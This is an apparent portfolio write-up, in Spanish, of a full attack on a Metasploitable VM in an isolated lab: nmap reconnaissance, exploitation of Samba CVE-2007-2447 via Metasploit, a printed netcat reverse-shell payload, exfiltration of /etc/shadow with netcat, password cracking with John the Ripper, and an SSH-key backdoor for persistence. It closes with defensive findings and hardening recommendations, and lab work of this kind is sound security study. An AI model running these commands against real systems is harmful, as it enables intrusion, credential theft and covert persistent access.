Explotación de vulnerabilidades en Metasploitable

Ciclo completo de un ataque real sobre un entorno controlado y aislado: preparación del laboratorio, reconocimiento con nmap, priorización de superficie de ataque, mapeo a CVE, explotación con Metasploit, post-explotación, extracción y cracking de credenciales, y persistencia mediante inyección de clave SSH.

1. Preparación del entorno

• Atacante: Kali Linux — msfconsole, nmap, John the Ripper.
• Objetivo: Metasploitable 1 — Ubuntu 8.04 (2010), sin parches, con múltiples CVEs conocidas.
• Red: host-only, ambas VMs aisladas de cualquier red real (192.168.64.0/24). IP víctima: 192.168.64.3.

2. Reconocimiento con Nmap

Escaneo de versiones para identificar exactamente qué está expuesto — las vulnerabilidades afectan a versiones concretas, no a servicios en abstracto:

nmap -sV 192.168.64.3

12 puertos abiertos, todos con versiones obsoletas y explotables.

3. Priorización de la superficie de ataque

En vez de atacar el primer puerto abierto, clasifiqué los servicios por tipo de riesgo antes de elegir objetivo:

• Acceso remoto (22, 23): Telnet expone credenciales en texto plano; OpenSSH 4.7p1 es una versión muy antigua.
• Capa de aplicación web (80, 8180): Apache 2.2.8 muy por detrás de la versión estable; Tomcat con credenciales débiles y potencial RCE.
• Bases de datos expuestas (3306): MySQL 5.0.51a, versión antigua con acceso directo a datos.
• Archivos compartidos / red interna (139, 445): Samba, históricamente uno de los servicios más explotados, con CVE y exploit públicos conocidos.

Objetivo seleccionado: Samba 3.0.20-Debian — combina una versión con vulnerabilidad crítica documentada, exploit disponible en Metasploit, y ejecución de código sin necesidad de autenticación previa: el mayor impacto con la mayor fiabilidad.

4. Mapeo de la vulnerabilidad

Confirmación de versión exacta con el motor de scripting de Nmap (NSE):

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 es vulnerable a CVE-2007-2447: el parámetro username map script no valida el input, y un atacante puede inyectar comandos de shell directamente en el campo de nombre de usuario. Como el mapeo ocurre antes del login, no hace falta ni usuario ni contraseña válidos.

5. Explotación con Metasploit

msfconsole

Búsqueda del módulo correspondiente:

msf > search type:exploit samba

Configuración y ejecución:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Verificación inmediata de privilegios — la vulnerabilidad da acceso root directo, sin necesidad de escalada posterior:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

6. Post-explotación: cómo ocurrió realmente

Inspeccionando los procesos en la víctima se puede ver el propio payload inyectado ejecutándose:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

El nombre de usuario enviado contenía el propio comando (/=`...`): Samba lo pasó sin sanitizar a una shell, que creó un pipe con mkfifo, abrió una conexión de vuelta a Kali con netcat y conectó /bin/sh a ese pipe — la ejecución remota de código completa, línea a línea.

Enumeración de servicios internos con netstat -tulnp: MySQL apareció escuchando en 0.0.0.0:3306 — expuesto a cualquier máquina de la red, no solo a localhost.

7. Extracción y cracking de credenciales

En vez de intentar crackear en la propia víctima (consume CPU, genera ruido, deja trazas), extraje los hashes y los transferí a Kali para atacarlos offline:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Transferencia vía netcat y preparación para John the Ripper:

# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John ejecuta tres fases automáticas (modo single con info del propio usuario, diccionario, y fuerza bruta incremental). Resultado: 6 de 7 contraseñas crackeadas, incluyendo credenciales reutilizables para SSH, MySQL y FTP.

8. Movimiento lateral y persistencia

Con las credenciales crackeadas, acceso SSH directo como usuario legítimo:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Para no depender de una contraseña que puede rotar, generé un par de claves propio y lo añadí al authorized_keys de la víctima — una puerta trasera que sobrevive a cambios de contraseña y no genera alertas de fuerza bruta:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # ejecutado en la víctima, ya comprometida

Acceso posterior, sin contraseña:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Hallazgos

• Doce puertos abiertos, todos con versiones obsoletas — la superficie de ataque no era un único fallo sino la acumulación de años de servicios sin actualizar.
• Una vulnerabilidad de ejecución remota de código explotable sin ningún tipo de autenticación, el peor escenario posible para un servicio expuesto.
• Credenciales débiles y reutilizadas entre servicios (SSH, MySQL, FTP) — comprometer un solo punto dio acceso a varios.
• Ausencia total de segmentación de red y de hardening básico (bases de datos expuestas a 0.0.0.0, protocolos legacy como Telnet activos).

Recomendaciones de seguridad

Eliminar protocolos inseguros como Telnet, actualizar servicios críticos y el propio kernel, restringir la exposición directa de bases de datos, aplicar segmentación de red, y sobre todo — dado lo fácil que fue crackear las contraseñas — forzar políticas de credenciales robustas y no reutilizadas entre servicios. El mismo tipo de detección que evitaría este ataque en producción (monitorización de conexiones salientes anómalas, alertas sobre nc/reverse shells) es lo que trabajo del lado defensivo en mi Home SOC Lab.

Conclusiones

La priorización antes de atacar —entender qué servicio da más impacto con más fiabilidad, en vez de probar puertos al azar— fue lo que llevó directamente a Samba. La fase de post-explotación, viendo el propio comando inyectado ejecutándose en ps aux, es la que mejor ilustra por qué una vulnerabilidad de validación de input se convierte en control total del sistema. Y la persistencia por clave SSH deja claro que, una vez dentro, el objetivo de un atacante no es solo "tener acceso" sino tenerlo de forma silenciosa y duradera — razón de más para que la defensa en profundidad no dependa de una sola barrera.